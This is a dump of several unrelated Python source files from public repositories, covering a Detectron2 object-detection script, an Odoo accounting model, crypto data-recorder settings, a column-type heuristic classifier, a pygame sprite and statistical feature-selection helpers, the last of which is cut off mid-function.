0-1, score threshold for predictions *note* will permanently change instance config\n crop: bool, each image in the CNN gets resized down to 800x800 and the CNN is trained on 864 or 832 px squares, so crop will take an 864 x 864 center of image to predict on (be wary of new data sizes!!)\n cent: center of crop to select (e.g. the pix coords of a plume), if None will take center of image\n title: str, title to be used for plotting predictions\n\n returns: Detectron2 prediction\n \"\"\"\n # if crop, take 864 x 864 center of image\n if crop:\n if cent:\n x, y = cent\n else:\n y, x, _ = img.shape\n x /= 2\n y /= 2\n cut = 864\n img = img[int(y - cut / 2) : int(y + cut/2), int(x - cut/2 ): int(x+cut/2), :]\n\n self.dl._cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = threshold\n\n p = self.predictor(self.dl._cfg)\n preds = p(img)\n\n if verbose:\n logging.log(logging.INFO, f\"Made {len(preds['instances'])} predictions for {fname}\")\n\n if view:\n plotter.plot_pred_boxes(img, preds, self.dl._labels, title=title)\n\n return preds\n\n def run_confusion_matrix(self, stage, nms_thresh=.25, threshold=None, iou_threshold=.35, plot=True, verbose=False, hypervisualize=False, slices=None):\n \"\"\"\n Run inference on a given split to generate confusion matrix of results\n\n stage: str, one of splits (train, test, valid) to run confusion matrix on\n nms_thresh: float 0-1, non-maximum suppression maximum threshold (IOU < nms_thresh between 2 predictions of same class will result in only one prediction being accepted)\n threshold: float 0-1, custom score threshold to accept prediction, *note* will change the config permanently for this instance\n iou_threshold: float 0-1, IOU threshold between prediction and ground truth for accepting prediction as true\n plot: bool, if true plot confusion matrix after run (otherwise will just pretty print)\n hypervisualize: bool, not recommended, will show each prediction, window must be closed before next prediction is made\n verbose: bool, if true, print confusion matrix for each image\n slices: tuple, (beginning index, end index), slice of the dataset to run confusion matrix on\n\n returns: len(labels) x len(labels) np.array confusion matrix\n \"\"\"\n\n # default to .5, decrease in our case because overlappign infrastructure won't happen\n self.dl._cfg.MODEL.ROI_HEADS.NMS_THRESH_TEST = nms_thresh\n\n if threshold is not None:\n self.dl._cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = threshold # set a custom testing threshold\n p = self.predictor(self.dl._cfg)\n\n labels = list(self.dl._labels)\n col_labels = labels + [\"missed\"]\n row_labels = labels + [\"background\"]\n\n cm = np.zeros((len(labels)+1, len(labels)+1))\n\n # get data\n dataset = self.dl._splits_data[stage]\n if slices:\n dataset = dataset[slices[0]:slices[1]]\n\n # get metadata\n metadata = MetadataCatalog.get(self.dl.dataname + stage)\n\n # iterate over all entries, accumulate score predictions\n for d in tqdm(dataset):\n im = cv2.imread(d[\"file_name\"])\n prediction = p(im)\n cm_tmp = score_prediction(prediction, d, nlabels=len(labels), iou_threshold=iou_threshold)\n cm += cm_tmp\n\n # show prediction and true\n if verbose or hypervisualize:\n # prediction for this attempt\n logging.log(logging.INFO, d[\"file_name\"])\n pprint_cm(cm_tmp, row_labels, col_labels)\n if hypervisualize:\n # show predictions\n v_p = Visualizer(im[:, :, ::-1], scale=0.5, metadata=metadata, instance_mode=ColorMode.SEGMENTATION)\n out = v_p.draw_instance_predictions(prediction[\"instances\"].to(\"cpu\"))\n cv2.imshow(d[\"file_name\"] + \" prediction\", out.get_image()[:, :, ::-1])\n # show truth\n v_t = Visualizer(im[:, :, ::-1], scale=0.5, metadata=metadata, instance_mode=ColorMode.SEGMENTATION)\n out = v_t.draw_dataset_dict(d)\n cv2.imshow(d[\"file_name\"] + \" truth\", out.get_image())\n\n cv2.waitKey(0)\n cv2.destroyWindow(d[\"file_name\"] + \" prediction\")\n cv2.destroyWindow(d[\"file_name\"] + \" truth\")\n\n self._cm = cm\n\n # if plot, plot windows\n if plot:\n # plot cm total\n self.plot_confusion_matrix(iou_threshold, row=row_labels, col=col_labels)\n\n # print results\n pprint_cm(cm, row_labels, col_labels)\n\n # total number of predictions is all items except the last column b/c is missed detection\n return cm\n\n def do_test(self, stage):\n \"\"\"\n stage: str, dataset (train, test) from cfg.yaml to do test on\n\n do inference with self.evaluator to evaluate performance of CNN @ specific IOU\n\n returns results array\n \"\"\"\n\n datasets = {\n \"test\" : self.dl._cfg.DATASETS.TEST,\n \"train\": self.dl._cfg.DATASETS.TRAIN\n }\n model = build_model(self.dl._cfg)\n weights_path = os.path.join(\n self.dl.data_dir, self.dl.model_dir, self.dl.weights_fname\n )\n DetectionCheckpointer(model).load(weights_path)\n\n results = OrderedDict()\n for dataset_name in datasets[stage]:\n data_loader = build_detection_test_loader(self.dl._cfg, dataset_name)\n e = self.evaluator(dataset_name, tasks=(\"bbox\",), distributed=True, output_dir=self.dl._cfg.OUTPUT_DIR)\n #evaluator = COCOEvaluator(dataset_name, tasks=(\"bbox\",), distributed=True, output_dir=self.dl._cfg.OUTPUT_DIR)\n results_i = inference_on_dataset(model, data_loader, e)\n results[dataset_name] = results_i\n\n print(\"Evaluation results for {} in csv format:\".format(dataset_name))\n print_csv_format(results_i)\n\n if len(results) == 1:\n results = list(results.values())[0]\n\n return results\n\n \"\"\"\n plotting tools (with plotter.py)\n \"\"\"\n def plot_confusion_matrix(self, iou, row=[], col=[]):\n \"\"\"\n Wrapper for plotting confusion matrix with plotter.py\n\n plots heatmap of self._cm totals and percentages\n\n iou: float: 0-1, iou used for run_confusion_matrix\n row, col: list, row and column labels\n \"\"\"\n\n fig, ax = plt.subplots()\n im, cbar = plotter.heatmap(self._cm, row, col, ax=ax, cmap=\"YlOrRd\", title=f\"Confusion matrix total, IOU={iou}\")\n texts = plotter.annotate_heatmap(im, valfmt=\"{x:.0f}\")\n # set fig size and save\n fig.set_size_inches(8, 6.5)\n fig.savefig(os.path.join(self.dl._cfg.OUTPUT_DIR, \"cm.png\"), dpi=100)\n\n # plot cm normalized\n fig1, ax1 = plt.subplots()\n im1, cbar1 = plotter.heatmap(self._cm/np.sum(self._cm, axis=1)[:, np.newaxis], row, col, ax=ax1, cmap=\"YlOrRd\", title=f\"Confusion matrix total, IOU={iou}\")\n texts = plotter.annotate_heatmap(im1, valfmt=\"{x:.2f}\")\n # set fig size and save\n fig1.set_size_inches(8, 6.5)\n fig1.savefig(os.path.join(self.dl._cfg.OUTPUT_DIR, \"cm_normalized.png\"), dpi=100)\n plt.show()\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-t\", \"--train\", help=\"Train the network\", action=\"store_true\")\nparser.add_argument(\"-c\", \"--confusion\", help=\"Plot confusion matrix on test set\", action=\"store_true\")\nparser.add_argument(\"-v\", \"--visualize\", help=\"Visualize outputs. For train, this means visualizing sample training data.\", type=int)\nparser.add_argument(\"-p\", \"--predict\", type=str, help=\"Run model for one image, specify path as argument.\")\nparser.add_argument(\"-e\", \"--eval_all\", help=\"Run COCOEvaluator on all 3 segments of datasets\", action=\"store_true\")\nparser.add_argument(\"--edit\", help=\"Adjust bounding boxes of dataset manually\", action=\"store_true\")\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n c = CNN()\n #print(DatasetCatalog.get(\"dimac_train\"))\n if args.predict:\n c.setup_model()\n print(c.predict_image(cv2.imread(args.predict), fname=args.predict))\n if args.visualize:\n c.setup_model()\n c.view_random_sample(args.visualize, \"train\")\n if args.train:\n c.setup_model()\n c.train_model()\n if args.confusion:\n c.setup_model()\n c.run_confusion_matrix(\"test\", verbose=True)\n #c.run_confusion_matrix(\"valid\", verbose=True)\n if args.eval_all:\n c.setup_model()\n #for i in np.arange(0, 1, .05):\n # c._cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = float(i)\n for stage in [\"test\"]:#, \"valid\", \"train\"]:\n #print(f\"Evaluating on {stage} @ {i}\")\n c.do_test(stage)\n if args.edit:\n c.load_dataset()\n c.adjust_bboxes()\n\n#TODO: command line arguments\n","repo_name":"glaw1300/cm_frcnn","sub_path":"scripts/faster_rcnn.py","file_name":"faster_rcnn.py","file_ext":"py","file_size_in_byte":14920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"31149086002","text":"from odoo import _, api, fields, models\nfrom odoo.exceptions import ValidationError\n\n\nclass ResCompany(models.Model):\n _inherit = \"res.company\"\n\n # Column Section\n ebp_analytic_enabled = fields.Boolean(\n string=\"Enable Analytic in EBP\",\n default=False,\n help=\"Check this box if you want to enable the analytic when\"\n \" exporting in EBP.\",\n )\n\n ebp_default_analytic_account_id = fields.Many2one(\n string=\"Default Analytic Account for EBP\",\n comodel_name=\"account.analytic.account\",\n )\n\n @api.constrains(\"ebp_analytic_enabled\", \"fiscal_type\")\n def _ebp_check_analytic_mode_fiscal_type(self):\n companies = self.filtered(\n lambda x: x.fiscal_type in [\"fiscal_child\", \"fiscal_mother\"]\n and x.ebp_analytic_enabled\n )\n if companies:\n raise ValidationError(\n _(\n \"Unable to enable analytic for the following companies\"\n \" that are CAE or Integrated companies %s\"\n % (\", \".join([x.name for x in companies]))\n )\n )\n","repo_name":"grap/grap-odoo-custom-account","sub_path":"grap_account_export_ebp/models/res_company.py","file_name":"res_company.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"86"} +{"seq_id":"24485305024","text":"import pytz as tz\n\n\n# ./recorder.py\nSNAPSHOT_RATE = 10 # 0.25 = 4x second\nBASKET = [('BTC-USD', 'tBTCUSD'),\n ('ETH-USD', 'tETHUSD'),\n ('LTC-USD', 'tLTCUSD'),\n ('BCH-USD', 'tBCHUSD')]\n\n\n# ./data_recorder/connector_components/client.py\nCOINBASE_ENDPOINT = 'wss://ws-feed.pro.coinbase.com'\nBITFINEX_ENDPOINT = 'wss://api.bitfinex.com/ws/2'\nMAX_RECONNECTION_ATTEMPTS = 300\n\n\n# ./data_recorder/connector_components/book.py\nMAX_BOOK_ROWS = 15\nINCLUDE_ORDERFLOW = True\nBOOK_DIGITS = 2 # Used to aggregate prices\nAGGREGATE = False\n\n\n# ./data_recorder/database/database.py\nBATCH_SIZE = 100000\nRECORD_DATA = False\nMONGO_ENDPOINT = 'localhost'\nARCTIC_NAME = 'crypto.tickstore'\nTIMEZONE = tz.utc\n\n\n# ./data_recorder/database/simulator.py\nSNAPSHOT_RATE_IN_MICROSECONDS = 1000000 # 1 second\n\n\n# ./gym_trading/utils/broker.py\nMARKET_ORDER_FEE = 0.0020\nLIMIT_ORDER_FEE = 0.0010\n\n\n# ./indicators/*\nwindow_intervals = [5, 15, 30]\nINDICATOR_WINDOW = [60*i for i in window_intervals]\nINDICATOR_WINDOW_MAX = max(INDICATOR_WINDOW)\nINDICATOR_WINDOW_FEATURES = ['_{}'.format(i) for i in window_intervals]\nEMA_ALPHA = 0.99 # [0.9, 0.99, 0.999, 0.9999]\n","repo_name":"0xdarkman/crypto-rl","sub_path":"configurations/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"86"} +{"seq_id":"28268827684","text":"import pandas as pd\nimport re\nimport math\nimport ast\nimport numpy as np\nfrom sklearn.base import BaseEstimator, ClassifierMixin\n\n#Approach of inserting the labels from the CustomLabelEncoder instead of\n#hardcoding the labels is a ToDo\n#from classipy import CustomLabelEncoder\n\n#Returns a series with the labels:\n#['cat-binary', 'cat-multi', 'date', 'float', 'int', 'other', 'text']\n#cat-binary -> 0\n#cat-multi -> 1\n#date -> 2\n#float -> 3\n#int -> 4\n#other -> 5\n#text -> 6\n\nclass Heuristic(BaseEstimator, ClassifierMixin):\n\n def __init__(self,user_data):\n self.user_data = user_data\n\n def fit(self,df,y):\n return self\n\n #Doesn´t predict on tranformed X, instead predicts on df the user provided\n #importing data from the api\n def predict(self,df):\n return self.test_dataset_heuristic(self,self.user_data)\n\n def predict_proba(self,df):\n return 1/7\n\n #Fill None with nan\n def fill_nan_none(self,df):\n for index,row in df.iterrows():\n for col in ['mean','std','median','skew','kurt','shapiro_wilk_test']:\n if row[col] == None:\n df.loc[index, col] = np.nan\n return df\n\n #Predicts Cat-Binary -> 0\n def check_cat_binary(self,df):\n df['heuristic_label'] = np.nan\n for index,row in df.iterrows():\n if row['n_unique_values'] == 2:\n list_n_uniques = ast.literal_eval(row.column_values_unique)\n if all(isinstance(item, int) for item in list_n_uniques):\n test_bin_num = set(list_n_uniques)\n if set([0, 1]).issubset(test_bin_num):\n df.loc[index,'heuristic_label'] = 0\n else:\n df.loc[index,'heuristic_label'] = 0\n return df\n\n #Predicts Date -> 2\n def check_date(self,df):\n pattern = r'([12]\\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\\d|3[01]))|((0?[13578]|10|12)(-|\\/)(([1-9])|(0[1-9])|([12])([0-9]?)|(3[01]?))(-|\\/)((19)([2-9])(\\d{1})|(20)([01])(\\d{1})|([8901])(\\d{1}))|(0?[2469]|11)(-|\\/)(([1-9])|(0[1-9])|([12])([0-9]?)|(3[0]?))(-|\\/)((19)([2-9])(\\d{1})|(20)([01])(\\d{1})|([8901])(\\d{1})))'\n for index,row in df.loc[df.heuristic_label.isnull()].iterrows():\n if 'date' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 2\n elif 'period' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 2\n elif 'year' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 2\n elif re.search(pattern,str(row.column_values_unique)):\n df.loc[index,'heuristic_label'] = 2\n return df\n\n #Predicts Cat-Multi -> 1\n def check_cat_multi(self,df):\n for index,row in df.loc[df.heuristic_label.isnull()].iterrows():\n if 'province' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'region' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'country' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'category' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'state' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'city' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'day' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'week' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif 'location' in row['column_name'].lower():\n df.loc[index,'heuristic_label'] = 1\n elif (row.n_unique_values/row.n_values) < 0.05 and row.n_unique_values < 10:\n df.loc[index,'heuristic_label'] = 1\n return df\n\n #Predicts Text -> 6\n def check_text(self,df):\n for col in df.columns:\n print(col)\n for index,row in df.loc[df.heuristic_label.isnull()].iterrows():\n if math.isnan(row['mean']) and math.isnan(row['std']) and math.isnan(row['median']) and math.isnan(row['skew']) and math.isnan(row['kurt']) and (row.n_unique_values/row.n_values) > 0.8 :\n df.loc[index,'heuristic_label'] = 6\n return df\n\n #Predicts Int -> 4\n # and Float -> 3\n def check_int_float(self,df):\n for col in df.columns:\n print(col)\n for index,row in df.loc[df.heuristic_label.isnull()].iterrows():\n if math.isnan(row['mean'])==False and math.isnan(row['std'])==False and math.isnan(row['median'])==False and math.isnan(row['skew'])==False and math.isnan(row['kurt'])==False and (row.n_unique_values/row.n_values) > 0.8:\n list_n_uniques = ast.literal_eval(row.column_values_unique)\n if all(isinstance(item, int) for item in list_n_uniques):\n df.loc[index,'heuristic_label'] = 4\n elif all(isinstance(item, float) for item in list_n_uniques):\n df.loc[index,'heuristic_label'] = 3\n return df\n\n\n def test_dataset_heuristic(self,df):\n df = self.fill_nan_none(df)\n df = self.check_cat_binary(df)\n df = self.check_date(df)\n df = self.check_cat_multi(df)\n df= self.check_text(df)\n df= self.check_int_float(df)\n #Predicts Other -> 5\n df.loc[df.heuristic_label.isnull()] = 3\n #df = df_bin.append([df_cat_multi,df_text,df_int_float,df],ignore_index=True)\n return df.heuristic_label.to_numpy()\n\nif __name__ == '__main__':\n df = pd.read_csv('../../raw_data/kaggle_data_merged_with_labels.csv')\n print(df.shape)\n heuristic = Heuristic()\n df = heuristic.test_dataset_heuristic(df)\n print(df.shape)\n print(df)\n","repo_name":"mareksherman/classipy","sub_path":"classipy/models/heuristic.py","file_name":"heuristic.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"20650933180","text":"import pygame\nfrom pygame.sprite import Sprite\nimport random\nfrom settings import Settings\n\n\nclass Raindrop(Sprite):\n \"\"\"A class to represent a single drop in a shower.\"\"\"\n\n def __init__(self, drops_main):\n \"\"\"Initialize a raindrop and set its starting position.\"\"\"\n super().__init__()\n self.screen = drops_main.screen\n self.settings = drops_main.settings\n\n # Load the raindrop image and set its rect attribute.\n self.image = pygame.image.load('images/raindrop.jpg')\n self.rect = self.image.get_rect()\n\n # Start each new drop at a random x coordinate at the top of the screen.\n self.rect.x = random.randint(0, self.settings.screen_width)\n self.rect.y = 0\n\n # Store the drop's position as a decimal value.\n self.y = float(self.rect.y)\n\n def update(self):\n \"\"\"Move the drop down the screen\"\"\"\n self.y += self.settings.drop_speed\n self.rect.y = self.y\n","repo_name":"robbiecares/Python_Crash_Course","sub_path":"Chapter 13/raindrops/raindrop.py","file_name":"raindrop.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"13137542664","text":"# (C) Modulos AG (2019-2022). You may use and modify this code according\n# to the Modulos AG Terms and Conditions. Please retain this header.\n# THIS WHOLE FILE IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE T TEST\n# FEATURE SELECTION FAMILY\n\"\"\"This file contains helper functions for the t test feature selection\ncommon code.\n\"\"\"\nfrom abc import ABC, abstractmethod\nimport collections\nimport math\nimport numpy as np\nimport pandas as pd\nfrom typing import Generator, Dict, Any, Tuple, List\n\nfrom . import encode_categories as ec\nfrom . import scale_numbers as sn\nfrom modulos_utils.convert_dataset import dataset_return_object as d_obj\nfrom modulos_utils.metadata_handling import metadata_properties as meta_prop\nfrom modulos_utils.convert_dataset import dataset_converter as dc\nfrom modulos_utils.data_handling import data_utils\n\n\nDictOfArrays = Dict[str, np.ndarray]\nGenOfDicts = Generator[dict, None, None]\nDictOfMetadata = Dict[str, meta_prop.AllProperties]\n\n\nclass TTEstFeatureSelectionError(Exception):\n \"\"\"Errors in the TTEstFeatureSelection Feature Extractor class.\n \"\"\"\n pass\n\n\ndef categorize_regression_label_generator(\n label_generator: GenOfDicts, n_bins: int, min_val: float,\n max_val: float, label_name: str) -> GenOfDicts:\n \"\"\"Categorize numerical labels by binning them. This function works with\n a generator.\n\n Args:\n label_generator (GenOfDicts): Labels.\n n_bins (int): Number of bins.\n min_val (float): Minimum label value.\n max_val float): Maximum label value.\n label_name (str): Node name of the labels.\n\n Returns:\n GenOfDicts: Generator over binned labels.\n \"\"\"\n for batch in label_generator:\n yield categorize_regression_label(\n batch, n_bins, min_val, max_val, label_name)\n\n\ndef categorize_regression_label(\n label_data: DictOfArrays, n_bins: int, min_val: float,\n max_val: float, label_name: str) -> DictOfArrays:\n \"\"\"Categorize numerical labels by binning them. This function works with\n a generator.\n\n Args:\n label_data (DictOfArrays): Labels.\n n_bins (int): Number of bins.\n min (float): Minimum label value.\n max float): Maximum label value.\n label_name (str): Node name of the labels.\n\n Returns:\n DictOfArrays: Binned labels.\n \"\"\"\n # Arbitrary max val, if min==max. This is just to prevent errors. The\n # binning does not make any sense in this case. But in fact applying\n # t-test feature selection does not make sense to apply in this case.\n if min_val == max_val:\n if min_val == 0:\n max_val = 1.0\n else:\n max_val = 2*min_val\n bins = np.linspace(min_val, max_val, n_bins)\n categories = np.arange(n_bins - 1)\n df = pd.DataFrame({\n label_name: np.array(label_data[label_name]).reshape(-1).tolist()})\n categorized_labels = pd.cut(\n df[label_name], bins=bins, labels=categories,\n include_lowest=True)\n return {label_name: np.array(categorized_labels.values)}\n\n\ndef get_n_samples_classwise_from_generator(\n label_generator: GenOfDicts,\n unique_label_categories: np.ndarray,\n label_name: str) -> Dict[str, int]:\n \"\"\"Count the number of samples that lie within each label class.\n\n Args:\n label_generator (GenOfDicts): Generator over labels.\n unique_label_categories (np.ndarray): np.ndarray of unique categories\n of the labels.\n label_name (str): Node name of the labels.\n\n Returns:\n Dict[str, int]: Dictionary with classes as keys and number of samples\n as values.\n \"\"\"\n n_samples_classwise: Dict[str, int] = collections.defaultdict(int)\n for label_batch in label_generator:\n labels_array = np.array(label_batch[label_name])\n for c in unique_label_categories:\n n_c_batch = np.sum(labels_array == c)\n n_samples_classwise[c] += n_c_batch\n return n_samples_classwise\n\n\ndef get_n_samples_classwise(\n label_data: DictOfArrays,\n unique_label_categories: np.ndarray,\n label_name: str) -> Dict[str, int]:\n \"\"\"Count the number of samples that lie within each label class.\n\n Args:\n label_data (DictOfArrays): Label data.\n unique_label_categories (np.ndarray): np.ndarray of unique categories\n of the labels.\n label_name (str): Node name of the labels.\n\n Returns:\n Dict[str, int]: Dictionary with classes as keys and number of samples\n as values.\n \"\"\"\n label_generator = get_generator_over_samples(\n label_data, batch_size=len(list(label_data.values())[0]))\n return get_n_samples_classwise_from_generator(\n label_generator, unique_label_categories, label_name)\n\n\ndef populate_mean_dicts(\n inclass_means: Dict[str, Dict[str, float]],\n overall_means: Dict[str, float], input_batch: DictOfArrays,\n label_batch: DictOfArrays, unique_label_categories: np.ndarray,\n n_samples: int, n_samples_classwise: Dict[str, int],\n new_node_names: List, label_name: str) -> None:\n \"\"\"Helper function to populate in-class mean and overall mean dictionaries.\n\n Args:\n inclass_means (Dict[str, Dict[str, float]]): Dictionary where the\n keys are the node names and the values are dictionaries with the\n classes as keys and the means as values.\n overall_means (Dict[str, float]): Dictionary where the keys are the\n node names and the values the means of these nodes.\n input_batch (DictOfArrays): Batch of input data as a dictionary.\n label_batch (DictOfArrays): Batch of label data as a dictionary.\n unique_label_categories (np.ndarray): np.ndarray of unique categories\n of the labels.\n n_samples (int): Total number of samples in the dataset.\n n_samples_classwise (Dict[str, int]): Number of samples for each class.\n new_node_names (List): Node names after scaling and encoding\n columns of the original table (i.e. after the table prep part.)\n \"\"\"\n labels_array = np.array(label_batch[label_name])\n sample_masks = {c: labels_array == c\n for c in unique_label_categories}\n sample_indices = {c: np.where(sample_masks[c])[0]\n for c in sample_masks.keys()}\n for ni, nn in enumerate(new_node_names):\n node_array = np.array(input_batch[nn])\n overall_means[nn] += float(np.sum(node_array) / n_samples)\n for c in unique_label_categories:\n if n_samples_classwise[c] == 0:\n inclass_means[c][nn] += 0\n else:\n inclass_means[c][nn] += \\\n np.sum(node_array[sample_indices[c]]) / \\\n float(n_samples_classwise[c])\n return None\n\n\ndef get_means_from_generator(\n new_node_names: List, unique_label_categories: np.ndarray,\n input_generator: GenOfDicts, label_generator: GenOfDicts,\n n_samples: int, n_samples_classwise: Dict[str, int], label_name: str) \\\n -> Tuple[Dict[str, Dict[str, float]], Dict[str, float]]:\n \"\"\"Compute mean dictionaries (overall means and class-wise means) while\n iterating over generators of input and labels.\n\n Args:\n new_node_names (List): Node names after table prep\n transformation.\n unique_label_categories (np.ndarray): Unique categories of the labels.\n input_generator (GenOfDicts): Input data generator.\n label_generator (GenOfDicts): Label data generator.\n n_samples (int): Total number of samples.\n n_samples_classwise (Dict[str, int]): Number of samples for each class.\n label_name (str): Node name of the labels.\n\n Returns:\n Tuple[Dict[str, Dict[str, float]], Dict[str, float]]: Class-wise\n means and overall means.\n \"\"\"\n inclass_means: Dict[str, Dict[str, float]] = {}\n for c in unique_label_categories:\n inclass_means[c] = collections.defaultdict(float)\n overall_means: Dict[str, float] = collections.defaultdict(float)\n for i_batch, l_batch in zip(input_generator, label_generator):\n populate_mean_dicts(\n inclass_means, overall_means, i_batch, l_batch,\n unique_label_categories, n_samples, n_samples_classwise,\n new_node_names, label_name)\n return inclass_means, overall_means\n\n\ndef get_means(\n new_node_names: List, unique_label_categories: np.ndarray,\n input_data: DictOfArrays,\n label_data: DictOfArrays, n_samples: int,\n n_samples_classwise: Dict[str, int], label_name: str) \\\n -> Tuple[Dict[str, Dict[str, float]], Dict[str, float]]:\n \"\"\"Compute mean dictionaries (overall means and class-wise means) without\n generators.\n\n Args:\n new_node_names (List): Node names after table prep\n transformation.\n unique_label_categories (np.ndarray): Unique categories of the labels.\n input_generator (DictOfArrays): Input data.\n label_generator (DictOfArrays): Label data.\n n_samples (int): Total number of samples.\n n_samples_classwise (Dict[str, int]): Number of samples for each class.\n label_name (str): Node name of the labels.\n\n Returns:\n Tuple[Dict[str, Dict[str, float]], Dict[str, float]]: Class-wise\n means and overall means.\n \"\"\"\n n_samples = len(list(input_data.values())[0])\n input_generator = get_generator_over_samples(input_data, n_samples)\n label_generator = get_generator_over_samples(label_data, n_samples)\n return get_means_from_generator(\n new_node_names, unique_label_categories, input_generator,\n label_generator, n_samples, n_samples_classwise, label_name)\n\n\ndef populate_sum_of_squares_classwise(\n sum_of_squares_classwise: Dict[str, Dict[str, float]],\n input_batch: DictOfArrays, label_batch: DictOfArrays,\n unique_label_categories: np.ndarray, new_node_names: List,\n inclass_means: Dict[str, Dict[str, float]], label_name: str) -> None:\n \"\"\"Populate dictionary of class-wise sum_of_squares.\n\n Args:\n sum_of_squares_classwise (Dict[str, Dict[str, float]]): Dictionary\n to populate. The keys are the node names and the values will be\n dictionaries with the classes as keys.\n input_batch (DictOfArrays): Input data batch.\n label_batch (DictOfArrays): Label data batch.\n unique_label_categories (np.ndarray): Unique categories of the labels.\n new_node_names (List): Node names after table prep\n transformation.\n inclass_means (Dict[str, Dict[str, float]]): In-class mean dictionary.\n label_name (str): Node name of the labels.\n \"\"\"\n labels_array = np.array(label_batch[label_name])\n sample_masks = {c: labels_array == c\n for c in unique_label_categories}\n sample_indices = {c: np.where(sample_masks[c])[0]\n for c in sample_masks.keys()}\n for ni, nn in enumerate(new_node_names):\n for c in unique_label_categories:\n sum_of_squares_classwise[nn][c] += np.sum(\n [(input_batch[nn][s] - inclass_means[c][nn])**2\n for s in sample_indices[c]])\n return None\n\n\ndef average_sum_of_squares_classwise(\n new_node_names: List,\n sum_of_squares_classwise: Dict[str, Dict[str, float]],\n n_classes: int,\n n_samples: int) -> List:\n \"\"\"Average class-wise sum-of-squares.\n\n Args:\n new_node_names (List): Node names after table prep\n transformation.\n sum_of_squares_classwise (Dict[str, Dict[str, float]]): Sum of\n squares for each node and class.\n n_classes (int): Number of classes of the labels.\n n_samples (int): Total number of samples in the dataset.\n\n Returns:\n List: For each node, the sum-of-squared that was averaged over\n the classes.\n \"\"\"\n sum_of_squared_averaged: List = []\n for nnn in new_node_names:\n sum_of_squared_averaged.append(\n float(sum(sum_of_squares_classwise[nnn].values())) / n_classes\n / n_samples)\n return sum_of_squared_averaged\n\n\ndef get_sum_of_squares_classwise_from_generator(\n new_node_names: List, input_generator: GenOfDicts,\n label_generator: GenOfDicts, unique_label_categories: np.ndarray,\n inclass_means: Dict[str, Dict[str, float]],\n n_classes: int, n_samples: int, label_name: str) -> List:\n \"\"\"Get the sum-of-squares for each node and class as a nested dictionary,\n while iterating over generators of input and labels.\n\n Args:\n new_node_names (List): Node names after table prep\n transformation.\n input_generator (GenOfDicts): Input data generator.\n label_generator (GenOfDicts): Label data generator.\n unique_label_categories (np.ndarray): Unique categories of the labels.\n inclass_means (Dict[str, Dict[str, float]]): Class-wise means for each\n node as a nested dictionary.\n n_classes (int): Number of label classes.\n n_samples (int): Total number of samples in the dataset.\n label_name (str): Node name of the labels.\n\n Returns:\n List: For each node, the sum-of-squared that was averaged over\n the classes.\n \"\"\"\n sum_of_squares_classwise: Dict[str, Dict[str, float]] = {}\n for nn in new_node_names:\n sum_of_squares_classwise[nn] = collections.defaultdict(float)\n for input_batch, label_batch in zip(input_generator, label_generator):\n populate_sum_of_squares_classwise(\n sum_of_squares_classwise, input_batch, label_batch,\n unique_label_categories, new_node_names, inclass_means,\n label_name)\n return average_sum_of_squares_classwise(\n new_node_names, sum_of_squares_classwise, n_classes, n_samples)\n\n\ndef get_sum_of_squares_classwise(\n new_node_names: List, input_data: DictOfArrays,\n label_data: DictOfArrays, unique_label_categories: np.ndarray,\n inclass_means: Dict[str, Dict[str, float]],\n n_classes: int, n_samples: int, label_name: str) -> List:\n \"\"\"Get the sum-of-squares for each node and class as a nested dictionary\n (without generators).\n\n Args:\n new_node_names (List): Node names after table prep\n transformation.\n input_data (DictOfArrays): Input data.\n label_data (DictOfArrays): Label data.\n unique_label_categories (np.ndarray): Unique categories of the labels.\n inclass_means (Dict[str, Dict[str, float]]): Class-wise means for each\n node as a nested dictionary.\n n_classes (int): Number of label classes.\n n_samples (int): Total number of samples in the dataset.\n label_name (str): Node name of the labels.\n\n Returns:\n List: For each node, the sum-of-squared that was averaged over\n the classes.\n \"\"\"\n n_samples = len(list(input_data.values())[0])\n input_generator = get_generator_over_samples(input_data, n_samples)\n label_generator = get_generator_over_samples(label_data, n_samples)\n return get_sum_of_squares_classwise_from_generator(\n new_node_names, input_generator, label_generator,\n unique_label_categories, inclass_means, n_classes, n_samples,\n label_name)\n\n\ndef slice_nodes_from_generator(\n input_generator: GenOfDicts, node_names: np.ndarray) -> GenOfDicts:\n \"\"\"Slice a generator by selecting nodes, while keeping sample ids.\n\n Args:\n input_generator (GenOfDicts): Input generator with sample ids.\n node_names (np.ndarray): Node names to keep.\n\n Returns:\n GenOfDicts: Sliced generator.\n \"\"\"\n # THIS FUNCTION IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY, THE T-TEST FEATURE SELECTION FAMILY AND\n # ImgIdentityCatIntEnc.\n for batch in input_generator:\n new_batch = {}\n for n in node_names:\n new_batch[n] = batch[n]\n new_batch[dc.SAMPLE_ID_KEYWORD] = batch[dc.SAMPLE_ID_KEYWORD]\n yield new_batch\n\n\ndef check_data_types(input_object: Any) -> None:\n \"\"\"Check the input data type and raise Exceptions if the 